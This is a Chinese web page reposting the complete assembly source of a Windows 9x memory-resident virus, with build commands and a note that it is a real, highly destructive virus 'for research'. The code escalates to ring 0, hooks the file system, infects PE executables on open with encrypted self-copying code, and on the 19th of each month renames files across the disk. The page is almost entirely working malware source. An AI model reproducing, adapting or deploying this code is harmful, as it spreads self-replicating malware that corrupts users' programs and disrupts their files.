分享
 
 
 

Win98下的驻留病毒

王朝system·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

;***************************************************************

;* 编者的话 *

;*-------------------------------------------------------------*

;* (1) 编译连接方法(用Tasm5.0编译器) *

;* tasm /m bit *

;* tlink32 bit *

;*-------------------------------------------------------------*

;* (2) 这是一个真正的病毒程序。仅供对病毒有浓厚兴趣的电脑发 *

;* 烧友研究之用。若有人用于恶意的传播,概与本人无关。 *

;*-------------------------------------------------------------*

;* (3) 本程序的破坏性极大,请不要轻易尝试。 *

;*-------------------------------------------------------------*

;* (4) 参考资料: *

;* CIH源程序,CAW源程序 *

;* MSDN文档,《Winows95系统编程的奥秘》 *

;***************************************************************

;************************************************

;* 这是一个可以感染Windows 9x系统的32位病毒程序 *

;************************************************

.586P

.Model Flat

.CODE

;************************

;* 设置程序的运行状态 *

;************************

DEBUG = 0

;******************

;* VXD 功能调用 *

;******************

_PageAllocate = 00010053h

IFSMgr_Ring0_FileIO = 00400032h

UniToBCSPath = 00400041h

IFSMgr_InstallFileSystemApiHook = 00400067h

;******************************************************************************

;* *

;* 引导模块 *

;* *

;******************************************************************************

Start:

@A = $

xchg eax,esi

OriginalEntryPoint = $+1

mov eax,'PVOK'

xor eax,esi[Key-@A]

push eax

IF DEBUG

InterruptNumber = 05h

ElSE

InterruptNumber = 03h

ENDIF

push eax

sidt [esp-02h]

pop ebx

add ebx,InterruptNumber*08h

lea eax,esi[MyFaultHook-@A]

push eax

cli

mov [ebx],ax

shr eax,16

mov [ebx+6],ax

sti

pop eax

;***************************

;* 产生中断以获得0特权级 *

;***************************

int InterruptNumber

QuitMyProgram:

pop eax

ReturnFromMyProgram:

ret

db 0E0h

;************

;* 数据区 *

;************

Key db 0

LocationTable dd SizeOfSectionB ; 段的大小

dd OffsetOfSectionB+401000h ; 段的虚地址

dd 0,0

dd 0,0

dd 0,0

;*************************

;* 我的Ring0特权级代码 *

;*************************

MyFaultHook:

mov ecx,dr3

jecxz MyProgramIsNotInstalled

iret

MyProgramIsNotInstalled:

xor eax,eax

cdq

push 0Fh ; flag

push eax ; PhysAddr

dec edx

push edx ; maxPhys

push eax ; minPhys

push eax ; AlignMask

push eax ; VM = 0

inc eax ; Let EAX = 1

push eax ; nType = PG_SYS(01h)

push eax ; nPages = 1

int 20h

dd _PageAllocate

add esp,04h*08h

test eax,eax

jnz SuccessfullyAllocate

iretd

SuccessfullyAllocate:

mov edi,eax

pushad

lea ebx,esi[LocationTable-Start] ; 获得定位表的基址

mov eax,esi[Key-@A-1] ; 获得解锁的密钥

;******************************************

;* 将病毒代码复制到已分配的系统内存区域 *

;******************************************

xor ecx,ecx

mov cl,SizeOfSectionA

cld

rep movsb

push edi

NumberOfSections = $+1

mov dl,1

LoopOfTransferring:

mov ecx,[ebx]

mov esi,ebx[4]

add ebx,8

call ConvertCode

dec dl

jnz LoopOfTransferring

ret

;****************************************

;* 加密/解密程序 *

;*--------------------------------------*

;* 入口参数: *

;* AH--密钥 *

;* ECX--要加密的字节数 *

;* ESI--待加密信息的起始地址 *

;* EDI--加密后的信息的存放地址 *

;****************************************

ConvertCode:

@B = $

cld

LoopOfConverting:

lodsb

xor al,ah

stosb

loop LoopOfConverting

ret

;******************************************************************************

;* *

;* 引导模块结束 *

;* *

;******************************************************************************

;----------------------------

SizeOfSectionA = $-Start

OffsetOfSectionB = $-Start

;----------------------------

;******************************************************************************

;* *

;* 功能模块 *

;* *

;******************************************************************************

SectionB:

;**************************

;* 安装IFSMgr的文件钩子 *

;**************************

popad

add eax,MyFileSystemApiHookFunction-Start

mov esi,eax

push eax

int 20h

dd IFSMgr_InstallFileSystemApiHook

pop ecx

test eax,eax

jnz SuccessfullyInstallFileSystemApiHook

iretd

SuccessfullyInstallFileSystemApiHook:

mov dr3,esi

lea ecx,edi[PreFileSystemApiHook-Start]

mov [ecx],eax ; 保存前一个文件钩子

dec byte ptr ecx[IsBusy-PreFileSystemApiHook] ; 设置我的文件钩子'空闲'标志

iretd

;**********************

;* 恢复旧的搜索路径 *

;**********************

GetOldSearchPath:

sub edi,ecx

mov [edi],'*.*'

ret

;**********************

;* 我的文件钩子函数 *

;**********************

MyFileSystemApiHookFunction:

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

; 当系统进入文件钩子函数处理时,堆栈的使用情况如下图所示

; ______________________________

; | Return EIP | Low Address

; |______________________________|

; | FSDFnAddr |---> 00h

; |______________________________|

; | FunctionNum |---> 04h

; |______________________________|

; | Drive |---> 08h

; |______________________________|

; | ResourceFlags |---> 0ch

; |______________________________|

; | CodePage |---> 10h

; |______________________________|

; | pir |---> 14h

; |______________________________| High Address

;

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

pushad

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

; 执行指令'PUSHAD'后,堆栈的使用情况如下图所示

; ______________________________

; | EDI |---> ESP (Low Address)

; |______________________________|

; | ESI |

; |______________________________|

; | EBP |

; |______________________________|

; | ESP |

; |______________________________|

; | EDX |

; |______________________________|

; | ECX |

; |______________________________|

; | EBX |

; |______________________________|

; | EAX |

; |______________________________|

; | Return EIP |---> 20h

; |______________________________|

; | FSDFnAddr |---> 24h

; |______________________________|

; | FunctionNum |---> 28h

; |______________________________|

; | Drive |---> 2Ch

; |______________________________|

; | ResourceFlags |---> 30h

; |______________________________|

; | CodePage |---> 34h

; |______________________________|

; | pir |---> 38h (High Address)

; |______________________________|

;

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

call @C

GetBaseAddressOfFileNameString:

lea esi,edx[130h]

cmp byte ptr [esi],0

jnz QuitGettingBaseAddressOfFileNameString

lea esi,edx[2Ch]

QuitGettingBaseAddressOfFileNameString:

ret

@C:

pop edi

add edi,VxdCall_IFSMgr_Ring0_FileIO-@C ; 在本模块中,EDI作为寻址的基址

mov ebp,esp

cmp byte ptr edi[IsBusy-@D],00h ; 我的文件钩子"空闲"吗?

jz MyFileSystemApiHookFunctionIsFree

;**********************************

;* 如果我的文件钩子函数正忙,则 *

;* 只调用FSD服务并且返回 *

;**********************************

MyFileSystemApiHookFunctionIsBusy:

push dword ptr ebp[38h] ; [EBP+38H]->FSD服务程序地址

call ebp[24h]

pop ecx

mov ebp[1Ch],eax ; 保存FSD服务的返回值

popad

ret

;**************************

;* 我的文件钩子函数空闲 *

;**************************

MyFileSystemApiHookFunctionIsFree:

cmp dword ptr ebp[28h],36 ; FSD功能号是否为IFSFN_OPEN ?

jnz GotoPreFileSystemApiHook

inc byte ptr edi[IsBusy-@D] ; 设置我的文件钩子'忙'标志

mov edx,ebp[38h]

mov edx,edx[0Ch]

add edx,4 ; EDX指向Unicode路径

lea esi,edi[BcsWAnsiFileName] ; ESI指向存放转化后的普通ASCII路径的缓冲区

mov al,ebp[2Ch]

cmp al,-1 ; 是否为UNC(Universal Naming Conversation)地址?

jz CallUniToBCSPath

add al,40h

mov [esi],al

inc esi

mov byte ptr [esi],':'

inc esi

CallUniToBCSPath:

xor ecx,ecx

push ecx ; CharSet = BCS_WANSI

push 07Fh ; 文件名缓冲区的最大长度

push edx ; Unicode字符串的基址

push esi ; 存放普通ASCII字符串的缓冲区的基址

int 20h

dd UniToBCSPath

add esp,04h*04h

mov [esi+eax],cl

cmp [esi+eax-4],'EXE.' ; 该文件是一个可执行文件吗?

jnz AbortOnNoExecutableFile

IF DEBUG

cmp [esi+eax-8],'TSET' ; 是测试文件吗(在调试状态下有效)?

jnz AbortOnNoExecutableFile

ENDIF

dec esi

dec esi ; ESI指向普通ASCII字符串的基址

; ############################

; # My Triggered Execution #

; ############################

mov al,07h

out 70h,al

jmp $+2

in al,71h

IFE DEBUG

sub al,019h ; 判断日期

ELSE

sub al,019h

ENDIF

jnz Exitance

;***********************************************

;* 更名函数 *

;* 寄存器参数: *

;* ESI:指向当前路径字符串的开始 *

;* EDI:指向当前路径字符串的结尾 *

;* EDX:指向Win32_Find_Data结构 *

;***********************************************

IFE DEBUG

inc dword ptr edi[DriveNumber-@D]

ENDIF

xchg ebp,edi

lea edx,ebp[Win32_Find_Data]

lea esi,ebp[Path]

DriveNumber = $+2

IF DEBUG

mov [esi],'*\:G'

ELSE

mov [esi],'*\:C'

ENDIF

mov dword ptr esi[4],"*." ; Search Path: 'G:\*.*',0

lea edi,esi[3]

lea eax,ebp[QuitMyTrigger-@D]

push eax ; 压入出口地址

;****************************************

;* 用递归法搜索硬盘上的所有目录及文件 *

;****************************************

ScanDisk:

;**************************

;** 查找文件及更改文件名 **

;**************************

mov ax,4E00h

push 07h

pop ecx

call ebp

jc NoMoreFiles

xchg eax,ebx

;**********************

;* 形成替换的文件名 *

;**********************

push esi

push edi

mov ecx,edi

sub ecx,esi

lea edi,ebp[ReplacingFileName]

cld

rep movsb

mov eax,'0000'

stosd

mov eax,'TIB.'

stosd

mov [edi],cl

pop edi

pop esi

SearchNextFile:

;************************

;* 形成被替换的文件名 *

;************************

push edi

push esi

call GetBaseAddressOfFileNameString

push 13

pop ecx

cld

rep movsb

pop esi

pop edi

push edx

lea edx,edi[ReplacingFileName-Path]

mov eax,[edx]

;*******************************

;* 数字ASCII字符串自加一程序 *

;*******************************

add eax,1

aaa

push 03h

pop ecx

LoopOfAsciiInc:

push eax

lahf

and ah,0EFh ; 清除'AF'标志

sahf

pop eax

pushfd

ror eax,8

popfd

aaa

loop LoopOfAsciiInc

ror eax,8

or eax,30303030h

;------------------------------------------------

;------------------------------------------------

mov [edx],eax

lea edx,ebp[ReplacingFileName]

mov ax,5600h

call ebp

pop edx

mov ax,4F00h

call ebp

jnc SearchNextFile

mov ax,0DC00h

call ebp

NoMoreFiles:

mov [edi],'*.*'

;------------------------------------------------

mov ax,4E00h

mov cx,1016h

call ebp

xchg eax,ebx

jc NoMoreDirectories

call GetNewSearchPath

jecxz SearchNextDirectory

push ebx

push ecx

call ScanDisk

pop ecx

pop ebx

call GetOldSearchPath

SearchNextDirectory:

mov ax,4F00h

call ebp

jc NoMoreDirectories

call GetNewSearchPath

jecxz SearchNextDirectory

push ecx

push ebx

call ScanDisk

pop ebx

pop ecx

call GetOldSearchPath

jmp SearchNextDirectory

NoMoreDirectories:

mov ax,0DC00h

call ebp

ret

; #################################

; # My Triggered Execution Ends #

; #################################

Exitance:

;*************************************************

;* 获取文件最后的修改日期/时间 *

;*************************************************

;* IFSMgr_Ring0_FileIO的4304号服务的功能是 *

;* 获得文件最后的的修改时间/日期。但事实上该服 *

;* 务只在CX中返回了修改时间。那么我们所关心的 *

;* 另外一个返回值在哪呢?幸运的是我们最终还是 *

;* 找到它了。它位于废弃的堆栈之中,线性地址为 *

;* [ESP-0B4h]。请注意,该ESP的值是执行指令 *

;* INT 20h VxdCall IFSMgr_Ring0_FileIO时的 *

;* ESP的值。 *

;*************************************************

mov ax,4304h

call edi

shl ecx,16

mov cx,esp[-0B8h]

mov edi[ReadingBuffer-14h],ecx

; ******************

; * 获取文件属性 *

; ******************

xor eax,eax

mov ah,43h ; GET_ATTRIBUTES

xor ecx,ecx

push eax

call edi

pop eax

xchg ebx,ecx

test bl,01h ; 该文件是只读文件吗?

jz NotReadOnlyFile

; ******************************

; * 将只读文件修改为普通文件 *

; ******************************

inc eax

xor ecx,ecx

call edi

jc AbortOnModifyingAttributeFailure

NotReadOnlyFile:

push ebx ; 保存文件原来的属性

; *********************

; * 为读/写打开文件 *

; *********************

xor eax,eax

mov ah,0D5h ; R0_OPENCREATFILE

xor ecx,ecx ; Attributes = FILE_ATTRIBUTE_NORMAL(00h)

cdq

inc edx ; Action = FILE_OPEN(01h)

mov ebx,edx

inc ebx ; ModeAndFlags = OPEN_ACCESS_READWRITE(02h)

call edi

jc AbortOnOpeningFailure

xchg ebx,eax ; 保存文件句柄到EBX

; *******************

; * 读入DOS文件头 *

; *******************

xor eax,eax

mov ah,0D6h ; R0_READFILE

push 40h

pop ecx ; DOS文件头的大小

cdq ; 读操作的起始位置

lea esi,edi[ReadingBuffer] ; ESI指向读入缓冲区

push eax

call edi

pop eax

;************************

;* 读入NT文件头及节表 *

;************************

mov edx,esi[3Ch] ; IMAGE_DOS_HEADER[3Ch]指向新的EXE文件头的偏移地址

mov esi[-0Ch],edx ; 保存NT文件头的偏移地址

mov ecx,378h ; 378h为NT文件头及节表数组的大小

call edi

cmp dword ptr [esi],00004550h ; 该文件是一个PE格式的可执行文件吗?

jnz Abort

;**************************

;* 检查文件是否已被感染 *

;**************************

cmp word ptr esi[0FEh],'CR' ; 'RC'是文件已被感染或者文件没有足够剩余空间的标志

jz Abort

movzx eax,word ptr esi[06h] ; IMAGE_NT_HEADERS[06h]->NumberOfSections

mov ecx,eax

xchg ebp,edx ; EDX为NT文件头的偏移

cdq

mov dl,28h

mul edx

add eax,0F8h

mov edi[ReadingBuffer-10h],eax ; 保存NT文件头及节表数组的实际尺寸

add eax,ebp ; 计算PE文件头中空闲空间的偏移地址

mov esi[-08h],eax ; 保存PE文件头中空闲空间的偏移地址

xchg ecx,ebp ; EBP=NumberOfSections

mov edx,esi[10Ch] ; IMAGE_NT_HEADERS[10Ch]->PointerToRawData

mov esi[54h],edx ; IMAGE_NT_HEADERS[054h]->SizeOfHeaders

sub edx,eax ; 获得空闲空间的大小

mov esi[-04h],edx

;------------------------------------------------

lea eax,esi[100h]

xor ecx,ecx

mov cl,SizeOfSectionA

mov edx,eax[08h]

sub edx,[eax]

cmp edx,ecx

jb RemainNoSpaceForSectionA

mov edx,[eax] ; [EAX]->VirtualSize

add edx,eax[04h] ; [EAX+4]->VitualAddress

xchg esi,edx ; 保存新的入口地址的RVA

;------------------------------------------------

mov edx,eax[0Ch]

add edx,[eax]

add [eax],ecx

jmp InsertSectionB

RemainNoSpaceForSectionA:

cmp edi[ReadingBuffer-04h],ecx

jb AbortOnInsufficientSpace

mov edx,edi[ReadingBuffer-08h]

mov esi,edx

add edi[ReadingBuffer-08h],ecx ; 调整空闲空间的偏移

sub edi[ReadingBuffer-04h],ecx ; 调整空闲空间的尺寸

InsertSectionB:

push esi

push edx ; 保存插入位置的偏移地址

push ecx

push 0 ; 压入结束标志

mov edi[ReadingBuffer-18h],ebx ; 保存EBX

xor ebx,ebx

mov ecx,SizeOfSectionB

;************************************

;* 为我的程序的'功能模块'寻找空间 *

;************************************

; _____________________

;| |

;| Name |

;|_____________________|

;| |--->000h (EAX)

;| VirtualSize |

;|_____________________|

;| |--->004h

;| VirtualAddress |

;|_____________________|

;| |--->008h

;| SizeOfRawData |

;|_____________________|

;| |--->00Ch

;| PointerToRawData |

;|_____________________|

;| |--->010h

;| PointerToRelocations|

;|_____________________|

;| |--->014h

;| PointerToLinenumbers|

;|_____________________|

;| |--->018h

;| NumberOfRelocations |

;|_____________________|

;| |--->01Ah

;| NumberOfLinenumbers |

;|_____________________|

;| |--->01Ch

;| Characteristics |

;|_____________________|

LoopOfInsertingSectionB:

mov edx,eax[08h] ; [EAX+08h]->SizeOfRawData

sub edx,[eax] ; 计算SizeOfRawData和VirtualSize的差(该差值即为该节中剩余空间的大小)

jb SearchNextSection ; 防止处理 '.data'节时发生错误

cmp edx,ecx

jb LessSpaceThanNeeded

mov edx,ecx

jmp SaveParameter

LessSpaceThanNeeded:

cmp edx,100

jb SearchNextSection

xchg ecx,edx

SaveParameter:

;---------------------------------------------------

mov esi,eax[04h]

add esi,edi[ReadingBuffer+34h]

add esi,[eax]

push esi ; 保存该段的虚地址

;---------------------------------------------------

mov esi,eax[0Ch] ; [EAX+0Ch]->PointerToRawData

add esi,[eax] ; 获得该段插入位置的偏移地址

push esi ; 保存该段插入位置的偏移地址

;--------------------------------------------------

add [eax],ecx

;---------------------------------------------------

push ecx ; 保存该段的大小

sub edx,ecx

xchg ecx,edx ; 计算还有多少字节未写入

;--------------------------------------------------

inc ebx

jecxz WriteSectionB

cmp bl,03h

jz SearchSpaceInFileHeader

SearchNextSection:

add eax,28h

dec ebp

jnz LoopOfInsertingSectionB

SearchSpaceInFileHeader:

cmp edi[ReadingBuffer-04h],ecx

jnb FindSpace

;------------------------------------------------

xchg ecx,ebx

xchg ebx,edi[ReadingBuffer-18h]

;------------------------------------------------

push 12

pop eax

mul ecx

add eax,16

add esp,eax

;------------------------------------------------

jmp AbortOnInsufficientSpace

FindSpace:

mov eax,edi[ReadingBuffer-08h]

mov edx,eax

add edx,edi[ReadingBuffer+34h]

push edx ; 保存最后一段的虚地址

push eax ; 保存最后一段插入位置的偏移地址

push ecx ; 保存最后一段的大小

inc ebx

WriteSectionB:

;************************************

;* 将我的程序代码传送到写入缓冲区 *

;************************************

lea edx,edi[ConvertCode-@D]

mov edx[Key-@B],ah

mov ecx,SizeOfSectionB

lea esi,edi[WritingBuffer]

push edi

lea edi,edx[SectionB-@B]

xchg esi,edi

call edx

pop ebp

xchg esi,edi

;------------------------------------------------

xchg ecx,ebx

xchg ebx,ebp[ReadingBuffer-18h] ; 恢复EBX

;------------------------------------------------

mov edx[NumberOfSections-@B],cl ; 保存功能模块被分成的段数

lea edi,[edx+LocationTable-@B+8*ecx-4]

LoopOfWritingSectionB:

mov ax,0D601h

pop ecx

jecxz FinishWritingSectionB

pop edx

sub esi,ecx

call ebp

pop eax

std

stosd

xchg eax,ecx

stosd

jmp LoopOfWritingSectionB

FinishWritingSectionB:

xchg ebp,edi

;*******************************

;* 获得并保存原程序的入口地址 *

;*******************************

lea ebp,edi[ReadingBuffer]

mov eax,ebp[34h] ; IMAGE_NT_HEADERS[34h]->ImageBase

add eax,ebp[28h] ; IMAGE_NT_HEADERS[28h]->AddressOfEntryPoint

lea esi,edi[Start-@D]

lea ecx,esi[ReturnFromMyProgram-@A]

mov byte ptr [ecx],0FFh ; 产生一条'JMP EAX'指令以便将控制权交还给原程序

add ecx,OriginalEntryPoint-ReturnFromMyProgram

;**************************

;* 加密原程序的入口地址 *

;**************************

xor eax,esi[Key-@A]

mov [ecx],eax

;**************************

;* 插入病毒的'引导模块' *

;**************************

mov ax,0D601h

pop ecx

pop edx

call edi

pop eax

mov edi[ReadingBuffer+28h],eax ; 修改程序的入口地址

;**************************

;* 修改原程序的NT文件头 *

;**************************

AbortOnInsufficientSpace:

mov word ptr edi[ReadingBuffer+0FEh],'CR' ; 设置感染标志

mov ax,0D601h

mov ecx,edi[ReadingBuffer-10h]

mov esi,ebp

mov edx,edi[ReadingBuffer-0Ch]

call edi

jmp CloseFile

Abort:

xor ecx,ecx

;**************

;* 关闭文件 *

;**************

CloseFile:

xor eax,eax

mov ah,0D7h

call edi

;**********************************

;* 恢复文件最后的修改日期/时间 *

;**********************************

jecxz RestoreFileAttribute

lea esi,edi[BcsWAnsiFileName]

xchg edi,ebx

mov ax,4303h

mov ecx,ebx[ReadingBuffer-12h]

mov edi,ebx[ReadingBuffer-14h]

call ebx

xchg edi,ebx

AbortOnOpeningFailure:

;******************

;* 恢复文件属性 *

;******************

RestoreFileAttribute:

pop ecx

mov ax,4301h

test cl,01h

jz NotRestoreFileAttribute

call edi

AbortOnNoExecutableFile:

AbortOnModifyingAttributeFailure = $

QuitMyTrigger = $

NotRestoreFileAttribute = $

call @E

;****************************************

;* 根据查找的结果形成一个新的搜索路径 *

;****************************************

GetNewSearchPath:

push esi

call GetBaseAddressOfFileNameString

xor ecx,ecx

cmp byte ptr [esi],'.' ; 在DOS系统中,'.'表示当前目录,'..'表示父目录

jz QuitGettingNewPath

cld

LoopOfGettingNewPath:

lodsb

test al,al

jz ReachEndOfString

stosb

inc ecx

jmp LoopOfGettingNewPath

ReachEndOfString:

mov byte ptr [edi],'\'

inc edi

mov [edi],'*.*'

inc ecx

QuitGettingNewPath:

pop esi

ret

@E:

pop edi

dec byte ptr edi[IsBusy-@E] ; 设置我的文件钩子'空闲'标志

GotoPreFileSystemApiHook:

popad

PreFileSystemApiHook = $+2

jmp ds:['PVOK']

VxdCall_IFSMgr_Ring0_FileIO:

@D = $

int 20h

dd IFSMgr_Ring0_FileIO

ret

;********************

;* Data Section A *

;********************

IsBusy db 1

;***************************************************

;* 动态数据区 *

;*-------------------------------------------------*

;* 本区域中的数据不占用任何磁盘空间,它们位于程 *

;* 序引导时申请的系统内存区域 *

;***************************************************

;*******************************************

Path = -@D+48h]$-@D+48h

ReplacingFileName = Start-@D+0700h

Win32_Find_Data = Start-@D+0C00h

;*******************************************

BcsWAnsiFileName = Start-@D+0A00h

ReadingBuffer = -@D+28h]$-@D+28h ; (Relative To EDI)

WritingBuffer = Start-@D+0B00h ; (Relative To EDI)

;*******************************************

SizeOfSectionB = $-SectionB

; 我的程序申请的系统内存区域的使用情况

; _________________________

; | |---> OFFSET 0

; | Section One | ==> offset 0: My Program Code

; | |

; | |

; | |

; | |

; | |

; | | ==> Save EBX Register (ReadingBuffer-18h)

; | | ==> Last Write Date/Time (ReadingBuffer-14h)

; | | ==> Size Of Section Array (ReadingBuffer-10h)

; | | ==> PE Header RVA (ReadingBuffer-0Ch)

; | | ==> Pointer To Free Space (ReadingBuffer-08h)

; |_________________________| ==> Size Of Free Space (ReadingBuffer-04h)

; | |---> OFFSET ???H

; | Section Two | ==> offset 0: Reading Buffer

; | |

; |_________________________|

; | |---> OFFSET 800H

; | Section Three | ==> offset 0: Ansi File Name

; | |

; | |

; | |

; |_________________________|

; | |---> OFFSET C00H

; | | ==> offset 0: Writing Buffer

; | |

; | Section Four |

; | |

; |_________________________|

;******************************************************************************

;* *

;* 功能模块结束 *

;* *

;******************************************************************************

MyProgramSize = $-Start

END Start

;********************************************************

;* SUMARY *

;* This program can do the following thing: *

;* (1) Get ring0 previliege *

;* (2) Install FileSystemApiHook *

;* (3) My FileSystemApiHook run steadily *

;* (4) The second part of my code is encrypted *

;* (5) The program will be activated on the 19th *

;* day of every month.After it has been *

;* activated,it will search all harddisk drive *

;* except C for all files and rename them with *

;* a new file name with the extansion '.BIT'. *

;********************************************************

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有